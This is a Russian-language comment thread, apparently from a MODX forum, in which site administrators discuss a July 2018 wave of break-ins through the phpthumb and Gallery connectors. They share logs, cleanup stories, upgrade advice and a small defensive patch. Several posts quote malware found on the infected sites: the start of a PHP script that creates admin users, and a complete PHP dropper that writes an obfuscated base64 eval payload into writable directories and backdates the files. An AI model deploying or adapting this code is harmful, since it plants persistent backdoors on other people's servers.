deny from 134.249.50.185 (киев)
deny from 46.118.112.85 (кривой рог)
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration: /home/clients/(ФТП)/domains/(сайт)/html/connectors/system/phpthumb.php
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration:
/home/clients/(ФТП)/domains/(сайт)/html/dbs.php
Логи Access:
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «GET/dbs.php HTTP/1.1» 403 491 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «POST /connectors/system/phpthumb.php HTTP/1.1» 403 514 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
46.118.112.85 — - [24/Jul/2018:11:39:19 +0000] «GET /dbs.php?u HTTP/1.1» 404 8927 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
+
deny from 134.249.50.185 (киев)
deny from 46.118.112.85 (кривой рог)
Тоже сегодня поймал через старый сайт (2.4.3). По всему аккаунту хостинга зараза пошла (php-файлы), благо увидел это очень вовремя, грохнул сайт и начал чистить врукопашную. Добрались даже до статический сайтов. Пока вроде победил, сайт наверное буду обновлять на локальном сервере а уже потом на хостинг. При чем это единственный сайт у которого не спрятаны коннекторы, не переименован конфиг, админка и т.д… В общем стандартная установка. На хостинге есть еще такие древние, но там сделано по феншую, и на них пока не пробита защита.
Поэтому, ребята, такие пациенты в очень высокой зоне риска. Советую приделить им максимум внимания.
Поэтому, ребята, такие пациенты в очень высокой зоне риска. Советую приделить им максимум внимания.
А вот меня теперь переполняют смешанные чувства пока я все это лечу, и хоть это с одной стороны беда, но с другой модх заметили как систему для атаки, аж приятно что ли)
Здравствуйте!
Извините за беспокойство. Возникла такая проблема. В свете этих событий был заражен сайт. Сайт особо не администрировался, в компании нет специалиста. И поэтому стояла версия MODX 2.4 и php 5.2. После заражения пользуясь инструкцией был обновлен MODX до 2.6.5 и php до 7.2, но слетела верстка и последние загруженные данные. В ресурсах отображены данные(изображения, css, js) загруженные с момента создания сайта, при этом на хостинге/файл-менеджере есть все последние картинки и добавленные позднее css-стили и js-скрипты.
Что было сделано не так? И как синхронизировать ресурсы с данными на сервере?
P.S. Извините, что задаю вопрос в комментариях.
Извините за беспокойство. Возникла такая проблема. В свете этих событий был заражен сайт. Сайт особо не администрировался, в компании нет специалиста. И поэтому стояла версия MODX 2.4 и php 5.2. После заражения пользуясь инструкцией был обновлен MODX до 2.6.5 и php до 7.2, но слетела верстка и последние загруженные данные. В ресурсах отображены данные(изображения, css, js) загруженные с момента создания сайта, при этом на хостинге/файл-менеджере есть все последние картинки и добавленные позднее css-стили и js-скрипты.
Что было сделано не так? И как синхронизировать ресурсы с данными на сервере?
P.S. Извините, что задаю вопрос в комментариях.
Наверное надо было поднять файлы и базу с последнего рабочего бекапа. Потом уже обновлять. Мне они гады js файлы поменяли на свои. Не факт что вам не подменили. На сколько я понимаю выполнение скрипта на сайте не отобразит лог и нельзя понять какие фалы были изменены
Ну я сделала бэкап до моменты, когда сайт был не заражен. А потом начала уже обновлять. Ну и перед обновляем проверила на всякий случай на вирусы. И чистила все в ручную от вирусных php — скриптов и js. То есть все было нормально. Но почему после обновления CMS буквально обнулилась до нуля.
Нет взаимодействия с сервером. Во вкладке «Файлы» все есть, во вкладке Ресурсы нет ничего.
Нет взаимодействия с сервером. Во вкладке «Файлы» все есть, во вкладке Ресурсы нет ничего.
если нет связи с базой — проверте имя пользователя, название базы и пароль, а лучше замените новыми.
файл /core/config/config.inc.php
обратите внимание имя базы данных в двух местах пишется
файл /core/config/config.inc.php
обратите внимание имя базы данных в двух местах пишется
Вера, думаю, Вам лучше всего запросить помощи здесь: modx.pro/work
Блеск дукатов приманит разработчиков и Вам помогут. Если у вас есть бэкап рабочего сайта, то, думаю, восстановить работу сайта можно без его полной переделки.
Блеск дукатов приманит разработчиков и Вам помогут. Если у вас есть бэкап рабочего сайта, то, думаю, восстановить работу сайта можно без его полной переделки.
Вера, я так понимаю если сайт особо не администрировался, то все бэкапы только на хостинге, при условии что у вас нормальный хостинг и делает бэкапы. Срочно ищите опытного специалиста, так как они на хостинге не вечные и потом возможно сайт уже будет легче переделать, чем спасать.
Да, хостинг делает раз в два дня бэкапы и каждый можно выгрузить. Один я уже выгрузила на всякий пожарный, сохранила на локальный диск.
Так проблему можно как-то решить? Что именно полетело после обновления CMS? Почему CMS не загружает данные с хостинга?
Или теперь только перекраивать весь сайт надо?
Так проблему можно как-то решить? Что именно полетело после обновления CMS? Почему CMS не загружает данные с хостинга?
Или теперь только перекраивать весь сайт надо?
Что именно полетело после обновления CMS?
Я не гадалка, не могу сказать.
Почему CMS не загружает данные с хостинга?
Видимо не правильно обновляли сайт или откат делали неправильно.
Я не гадалка, не могу сказать.
Почему CMS не загружает данные с хостинга?
Видимо не правильно обновляли сайт или откат делали неправильно.
У меня было интересней. Взломали ещё 13 июля, а активировалась вирусня только 20 числа. Видимо рассчитывали, что бэкапы 7 дней хранятся.
Вот этого опасайтесь особо. Был у меня такой случай несколько лет назад — адов труд по чистке обеспечен.
В этом случае, если сайт достаточно популярен, гарантированы очень хорошие закладки по всему сайту.
Спасение только в контроле за всем файлами сайта.
В этом случае, если сайт достаточно популярен, гарантированы очень хорошие закладки по всему сайту.
Спасение только в контроле за всем файлами сайта.
Здравствуйте, получил в администрирование сайт, с системой только знакомлюсь. На сайте настроена отправка писем после заказа и после оплаты через Яндекс кассу. Все работает исправно, но потребовалось поправить контент письма отправляемого компонентом допустим после заказа. Я зашел в настройки MiniShop2 нашел там статусы заказов, в статусе заказа новый указан чанк
У него прописано
Вопрос: как вместо ссылки на товар давать ссылку на платный видеоматериал который забит в доп поле данного товара. Дополнительное поле называется math_video
tpl.msEmail.new.user
, пошел смотреть в него/У него прописано
{extends 'tpl.msEmail'}
{block 'title'}
{'ms2_email_subject_new_user' | lexicon : $order}
{/block}
{block 'products'}
{parent}
{if $payment_link?}
<p style="margin-left:20px;{$style.p}">
{'ms2_payment_link' | lexicon : ['link' => $payment_link]}
</p>
{/if}
{/block}
Думаю что надо глянуть чанк tpl.msEmail, нашел его, в нем прописано как раз то что приходит в письме и есть пункт связанный с ссылкой на товар, но данная ссылка открывается просто белым окном, дело в том что товар это видеоурок загруженный на youtube и после оплаты должна предоставляться ссылка на его просмотр которая забита в дополнительное поле. Короче код таков:<td style="{$style.th}">
{if $product.id?}
<a href="{$product.id | url : ['scheme' => 'full']}"
style="{$style.a}">
{$product.name}
</a>
{else}
{$product.name}
{/if}
{if $product.options?}
<div class="small">
{$product.options | join : '; '}
</div>
{/if}
</td>
Вопрос: как вместо ссылки на товар давать ссылку на платный видеоматериал который забит в доп поле данного товара. Дополнительное поле называется math_video
Ломанули 3 сайта из парка 30+. Эти 3 сайта без Gallery, но за то со старыми версиями типа 2.5.1 и т.д.
Симптомы как у всех. Annizod и другие файлы про которые уже написали.
UPD: забыл добавить что вход в админку перестает работать. Приходится базу откатывать.
Симптомы как у всех. Annizod и другие файлы про которые уже написали.
UPD: забыл добавить что вход в админку перестает работать. Приходится базу откатывать.
Я тоже душевно провожу эти дни!
История почти как у всех, пару сайтов пострадали, но обновив до 2.5.6, вроде бы пока все OK. Сразу попутно обновил текущие в разработке проекты, дабы потом не иметь сердечных болей))
С одним из сайтов ситуация напоминает юмористическую постановку в доме для душевнобольных. К слову сайт этот одного органа гос. власти, и в виду определенных договоренностей, сайт лежит на серверах другого орагна гос.власти. в том же здании. Несомненно, это приводит меня в «дикий восторг» (сделано, понятно, для того чтобы не платить внешнему хостингу ну и по причинам, как мне сказали «безопасности»). Ну и ладно, пусть будет так))
Вся проблема в том что данный, с позволения сказать, хостинг а именно волшебники управляющие онным не могут (или не имеют права? хмм...) дать мне доступ хотя бы к FTP и phpMyAdmin. Что естественно приводит к тому что мои конечности связаны и весь мир тлен. И к тому же настроили политики доступа к файлам так, что я даже в настройки системы зайти не могу (да и еще много куда). В общем адовый ад. Я думаю никому не надо объяснять что иногда в государственном секторе всё не совсем ладно (и как правильно когда-то подметил один крупный политик — этот ржавый и огромный маховик зачастую сдвигать очень сложно… ну да ладно, это лирика).
В общем, доступ у меня есть только к админке сайта, и то с определенного статического внешнего IP который у меня на работе в здании, в другой части города. Благо в этом здании есть сервак с тимвьювером. Плюс еще одна беда, я временно выехал за пределы региона и быть смогу только через 2 недели. Как говориться беда не приходит одна))
И вот наступает прекрасный момент, когда мне звонят и говорят что всё пропало и ничего не работает. Зайдя на сайт увидел что индексная страница открывается а остальные ссылки (все!) возвращают «Not found» (зе реквест УРЛ и т.д.). Полез в админку, в корне Filesystem узрел уже известные вам файлы (milemined, annizod, cache.php, dbs.php, payload.php, perm.php, wp-db.php, xnl.php), а htaccess увы, покинул пределы файловой системы.
Закачав стандартный htaccess из коробки и удалив злыдней из корня, сайт воспрял и весело стал блистать своими дружелюбными алиасами, НО увы через пару минут помрачнел и опять стал Not found. Ну что-ж, боты работу свою любят аки азиатские сборщики риса… печалька.
Ситуация приняла очень грустную форму, т.к. органу необходим рабочий сайт, а мне необходимо спокойствие в свой законный отпуск и душевное равновесие.
По вышеупомянутым причинам (отсутствие полного доступа к телесам и базе сайта, и моё отсутствие в регионе), обновить версию до 2.5.6 не представляется возможным. Приходиться вести борьбу, что называется «на коленке» и орудиями времен неолита.
Для начала решил дерзнуть и удалив из корня файлы annizod и milemined (которые, как сказали в комментах выше, прибыли туда для майнинга), заменил их такими-же файлами с такими-же размерами но забитыми нулями. К слову лежат там и не меняют своей структуры (ву-ха-ха-ха, радостно воскликнул я, сам не понимая почему). Далее заменил файлы cache.php, xnl.php рандомной белибердой с сохранением исходного размера. Думал все ок и проблема временно миновала, но снова исчезает htaccess, у cache.php поменялся код на зловредные скрипты а xnl.php — без изменений… сайт ложиться. К слову файл dbs.php всё время лежит в корне и удалить его не могу (иконка в виде замочка) опять же по причине настроек политик доступа на серваке (ох уж эти профессионалы!).
Вскоре, в корне стали появляться такие файлы как — 1.sh (с запуском libworker.so по Крону), ~ 8-мегабайтный бинарник — .sad0, ~ 200-килобайтный — web.php
На данный момент все что смог сделать — кое-как дозвониться до волшебников хостинга и попросить сделать бэкап, пока есть что спасать…
Вот так идет борьба… Бессмысленная и беспощадная… Хочется сесть к батарее, обнять коленки и поплакать как девчонка)))).
ЗЫ: Простите за длиннотекст
История почти как у всех, пару сайтов пострадали, но обновив до 2.5.6, вроде бы пока все OK. Сразу попутно обновил текущие в разработке проекты, дабы потом не иметь сердечных болей))
С одним из сайтов ситуация напоминает юмористическую постановку в доме для душевнобольных. К слову сайт этот одного органа гос. власти, и в виду определенных договоренностей, сайт лежит на серверах другого орагна гос.власти. в том же здании. Несомненно, это приводит меня в «дикий восторг» (сделано, понятно, для того чтобы не платить внешнему хостингу ну и по причинам, как мне сказали «безопасности»). Ну и ладно, пусть будет так))
Вся проблема в том что данный, с позволения сказать, хостинг а именно волшебники управляющие онным не могут (или не имеют права? хмм...) дать мне доступ хотя бы к FTP и phpMyAdmin. Что естественно приводит к тому что мои конечности связаны и весь мир тлен. И к тому же настроили политики доступа к файлам так, что я даже в настройки системы зайти не могу (да и еще много куда). В общем адовый ад. Я думаю никому не надо объяснять что иногда в государственном секторе всё не совсем ладно (и как правильно когда-то подметил один крупный политик — этот ржавый и огромный маховик зачастую сдвигать очень сложно… ну да ладно, это лирика).
В общем, доступ у меня есть только к админке сайта, и то с определенного статического внешнего IP который у меня на работе в здании, в другой части города. Благо в этом здании есть сервак с тимвьювером. Плюс еще одна беда, я временно выехал за пределы региона и быть смогу только через 2 недели. Как говориться беда не приходит одна))
И вот наступает прекрасный момент, когда мне звонят и говорят что всё пропало и ничего не работает. Зайдя на сайт увидел что индексная страница открывается а остальные ссылки (все!) возвращают «Not found» (зе реквест УРЛ и т.д.). Полез в админку, в корне Filesystem узрел уже известные вам файлы (milemined, annizod, cache.php, dbs.php, payload.php, perm.php, wp-db.php, xnl.php), а htaccess увы, покинул пределы файловой системы.
Закачав стандартный htaccess из коробки и удалив злыдней из корня, сайт воспрял и весело стал блистать своими дружелюбными алиасами, НО увы через пару минут помрачнел и опять стал Not found. Ну что-ж, боты работу свою любят аки азиатские сборщики риса… печалька.
Ситуация приняла очень грустную форму, т.к. органу необходим рабочий сайт, а мне необходимо спокойствие в свой законный отпуск и душевное равновесие.
По вышеупомянутым причинам (отсутствие полного доступа к телесам и базе сайта, и моё отсутствие в регионе), обновить версию до 2.5.6 не представляется возможным. Приходиться вести борьбу, что называется «на коленке» и орудиями времен неолита.
Для начала решил дерзнуть и удалив из корня файлы annizod и milemined (которые, как сказали в комментах выше, прибыли туда для майнинга), заменил их такими-же файлами с такими-же размерами но забитыми нулями. К слову лежат там и не меняют своей структуры (ву-ха-ха-ха, радостно воскликнул я, сам не понимая почему). Далее заменил файлы cache.php, xnl.php рандомной белибердой с сохранением исходного размера. Думал все ок и проблема временно миновала, но снова исчезает htaccess, у cache.php поменялся код на зловредные скрипты а xnl.php — без изменений… сайт ложиться. К слову файл dbs.php всё время лежит в корне и удалить его не могу (иконка в виде замочка) опять же по причине настроек политик доступа на серваке (ох уж эти профессионалы!).
Вскоре, в корне стали появляться такие файлы как — 1.sh (с запуском libworker.so по Крону), ~ 8-мегабайтный бинарник — .sad0, ~ 200-килобайтный — web.php
На данный момент все что смог сделать — кое-как дозвониться до волшебников хостинга и попросить сделать бэкап, пока есть что спасать…
Вот так идет борьба… Бессмысленная и беспощадная… Хочется сесть к батарее, обнять коленки и поплакать как девчонка)))).
ЗЫ: Простите за длиннотекст
Вот так я и расстался с чудным бизнесом связанным с госструктурами
Психическое здоровье важнее денег
Психическое здоровье важнее денег
Вам скорее всего поможет слдедующее modxclub.ru/topics/massovyie-vzlomyi-modx-revolution-2792.html
там заплатка на POST запросы… хотя бы так:
там заплатка на POST запросы… хотя бы так:
Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.
//connectors/system/phpthumb.php
//fstr patch CVE-2018-1000207
if(isset($_POST["cache_filename"]) && strpos($_POST["cache_filename"],".php") ) die();
//assets/components/gallery/connector.php
//fstr patch2 CVE-2018-1000207
if(isset($_POST["action"]) && $_POST["action"] =="web/phpthumb" && isset($_POST["f"]) && (strtolower($_POST["f"])=="php") ) die();
Нужна помощь со взломанным сайтом. Рейтинга не хватает для создания отдельного поста, извините.
Есть сайт bppd.pro и редирект на него с предметфото.рф. Сайт заражён на волне после 11 июля. MODX Revolution 2.6.1-pl
Насколько я понял, для лечения необходимо откатить сайт на момент до заражения и обновить MODX. Откатил, все заработало, а вот обновить MODX не могу, т.к. ничего не понимаю в веб разработке.
Нужно обновить MODX(или же вылечить каким-то другим способом, если обновление не помогает), посмотреть на сам сайт и админку, может там есть какие-то скрытые пользователи, оставленные разработчиком или вирусом или типа того.
Нужно довольно срочно, т.к. сайт крутится в контексте. Спасибо!
Можно писать в ЛС, либо контакты указаны на сайте.
Есть сайт bppd.pro и редирект на него с предметфото.рф. Сайт заражён на волне после 11 июля. MODX Revolution 2.6.1-pl
Насколько я понял, для лечения необходимо откатить сайт на момент до заражения и обновить MODX. Откатил, все заработало, а вот обновить MODX не могу, т.к. ничего не понимаю в веб разработке.
Нужно обновить MODX(или же вылечить каким-то другим способом, если обновление не помогает), посмотреть на сам сайт и админку, может там есть какие-то скрытые пользователи, оставленные разработчиком или вирусом или типа того.
Нужно довольно срочно, т.к. сайт крутится в контексте. Спасибо!
Можно писать в ЛС, либо контакты указаны на сайте.
К вам не напишешь в ЛС, недоступно, лучше уж вы))
Открыл личку и написал Вам.
Установите UpgradeModx. Переходите на страницу со сниппетом, которая очень любезно сама создается. Останется выбрать версию и нажать несколько раз далее.
Добрый вечер. И мой сайт попал под этот вирус, удалил все файлы с сервера, восстановил из бэкапа, сайт заработал, но админка не работает, просто белый экран и все, хостер бегет ответил
[25-Jul-2018 19:00:07 Europe/Moscow] PHP Fatal error: Uncaught --> Smarty: Unable to load template file 'header.tpl' < —
thrown in /home/n/nmfuce26/mfucentre.ru/public_html/core/model/smarty/sysplugins/smarty_internal_template.php on line 219
Никто с таким не сталкивался?
Базу данных откатывал за разные числа, все равно не работает.
219 строка такая
throw new SmartyException(«Unable to load template {$this->source->type} '{$this->source->name}'{$parent_resource}»);
[25-Jul-2018 19:00:07 Europe/Moscow] PHP Fatal error: Uncaught --> Smarty: Unable to load template file 'header.tpl' < —
thrown in /home/n/nmfuce26/mfucentre.ru/public_html/core/model/smarty/sysplugins/smarty_internal_template.php on line 219
Никто с таким не сталкивался?
Базу данных откатывал за разные числа, все равно не работает.
219 строка такая
throw new SmartyException(«Unable to load template {$this->source->type} '{$this->source->name}'{$parent_resource}»);
Еще раз обновить попробуйте
Я сайт откатывал на разные числа, тут написано что обнаружили уязвимость 11 июля, мне сайт заразили 25 июля, я откатывал на 20 июля, кое какие файлы там уже были заражены, откатил на 5 июля, вроде все нормально, зараженных файлов нет, но вот админка не работает, как я понял не может найти шаблон страницы входа в админку. Соответственно не могу без админки обновить версию modx
MODX прекрасно обнововляется без админки! Неужели так сложно скачать modx.com/download/other-downloads накатить и зайти в папку setup
согласен, даже удобней, сайтов 100 обновил так…
Заказывайте 17 июля. массово замечно 19 числа… -1 день на всякий случай. можно и 15го.
из 300 сайтов на 2-х такое получили, оба сайта кириллические (хотя были и другие с кириллическими доменами, но все ок), пока не решили. Фронт работает, а manager фатал выдает. Если разрешишь проблему, отпишись пожалуйста.
а 2.2.10 можно сразу на 2.6.5 обновить?
Можно. Но если после установки ошибка будет, то в некоторые таблицы нужно будет руками поля добавлять.
Я сейчас не вспомню точно, инфа на Bob's Gides есть. Ну или просто постепенно обновить.
Я сейчас не вспомню точно, инфа на Bob's Gides есть. Ну или просто постепенно обновить.
500 страница с админкой не открывается
Смотрите лог ошибок сервера. Это не тот случай.
там пусто, или где там логи самой цмс лежат
Все просто пока это не удалил из БД не взлетело simpleupdater
в таблице modx_context добавь поле «name» varchar 255
Нарыл еще файл /Matsn.php антивирус его не видит
Вот такие кусочки текста замечены… т.е. там комменты на русском в этом файле.
Кто то из России ломает…
Кто то из России ломает…
<?php
$username = "xdom"; //логин
$password = ""; //пароль
$email = "blablablu@gmail.com"; //почта
$act = 0; //0 - создание пользователя, 1 - разблокировка пользователя
function generateRandomString($length = 10) {
$characters = '012';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
На моих сайтах замечены файлы с расширением .ico и перезаписаны все файлы index.php, либо созданы новые там, где не должны быть и в них подключаются эти самые файлы .ico в которых и есть вредоносный код. Проверяйте у себя. Я нашел такие файлы в папке core/components/ и далее в разных компонентах.
Вот еще красавчик в assets/components/gallery/cache/hello_http.bbe7d149209507bbcc2c36656f473cfb.php:
<?php
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString . ".php";
}
$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";
srand(time());
/////////////////////////////////////////////////////////
function comparer($a, $b)
{
return strlen($a)-strlen($b);
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
function GetPathDiff($base_path, $full_path)
{
$pos = strpos($full_path, $base_path);
if ($pos === FALSE)
{
return FALSE;
}
return substr($full_path, $pos + strlen($base_path));
}
function GetWritableDirs()
{
$res = Array();
$analysys_queue = Array();
$analysys_queue[] = GetDocRoot();
$self_path = $_SERVER['SCRIPT_FILENAME'];
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
{
$self_path = substr($self_path, 0, $slash);
if ($self_path == GetDocRoot())
{
break;
}
if (strlen($self_path))
{
$analysys_queue[] = $self_path;
}
}
foreach ($analysys_queue as $current_dir)
{
if (!in_array($current_dir, $res))
{
$res = array_merge($res, GetDirectoryList($current_dir));
}
}
$res = array_merge($analysys_queue, $res);
return CheckWritable(array_unique($res));
}
function CheckWritable($dir_list)
{
$dir_list_writable = Array();
foreach ($dir_list as $dir)
{
if (@is_writable($dir) == TRUE)
{
$dir_list_writable[] = $dir;
}
}
return $dir_list_writable;
}
function GetDirectoryList($dir, $depth=1000)
{
$result = array();
$dir_count = 0;
if ($depth == 0)
{
return $result;
}
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
$h = @opendir($dir);
if ($h === FALSE)
{
return $result;
}
while (($f = readdir($h)) !== FALSE)
{
if ($f !== '.' and $f !== '..')
{
$current_dir = "$dir/$f";
if (is_dir($current_dir))
{
$dir_count += 1;
if ($dir_count >= $depth)
{
break;
}
$result[] = $current_dir;
$result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
}
}
}
closedir($h);
return $result;
}
function GetDocRoot()
{
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
if ($docroot_end === FALSE)
{
return $_SERVER['DOCUMENT_ROOT'];
}
elseif ($docroot_end === 0)
{
return "/";
}
else
{
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
}
function GetPayload($payload)
{
$current_payload = base64_decode($payload);
return $current_payload;
}
function WritePayload($path, $payload)
{
if (!file_exists($path))
{
if (file_put_contents($path, GetPayload($payload)) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
////////////////////////////////////////////////////////////////////////////////////////////
# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();
if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
if (!($base_local_path_time = @stat($base_local_path."/index.php")))
{
if (!($base_local_path_time = @stat($base_local_path."/index.html")))
{
if (!($base_local_path_time = @stat($base_local_path."/..")))
{
if (!($base_local_path_time = @stat($base_local_path)))
{
$base_local_path_time = Array();
$base_local_path_time['mtime'] = time();
}
}
}
}
}
$base_local_path_time = $base_local_path_time['mtime'];
$dir_list_writable = GetWritableDirs();
if (count($dir_list_writable) == 0)
{
echo "URL#STATUS_UNWRITABLE";
exit();
}
usort($dir_list_writable, 'comparer'); # sort directory by len
$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
// if payload name is set, no more one try to upload on current dir
//for ($i=0; $i < $max_tryes; $i++)
{
if (strlen($payload_name) == 0)
{
$temp_payload_name = generateRandomString();
}
else
{
$temp_payload_name = $payload_name;
}
$full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;
$uri_path = GetPathDiff($base_local_path, $full_payload_name);
$full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);
if (WritePayload($full_payload_name, $payload_file))
{
touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
echo "URL#http://" . $full_uri . PHP_EOL;
$good=TRUE;
$good_counter++;
if ($good_counter >1)
{
exit();
}
}
}
}
if(!$good)
echo "URL#STATUS_CANTUPLOAD";
exit();
Всем привет. Я так понимаю что решения 100% нет… Чистые сайты, обновленная система без галерей сново заражается… Появляются файлы. Вредоносный код дописывается в существующие…
Как защититься чтобы точно на все 100%?
Как защититься чтобы точно на все 100%?
- Вынести папку core на уровень выше
- Переименовать стандартные папки connectors, manager, assets
- Поставить верные права на файлы и папки
- Можно еще http авторизацию через .htaccess зафигачить
100% решение:
Заразить можно как через сайт, так и через файловую систему. Возможно атака идёт с соседних неизолированных сайтов.
К сведению, кроме всех вышеобнозначенных вредоносных файлов встречаю уже третий раз лишний файл в /core/lexicon/el/
На моих сайтах тоже было очень много файлов в лексиконах.
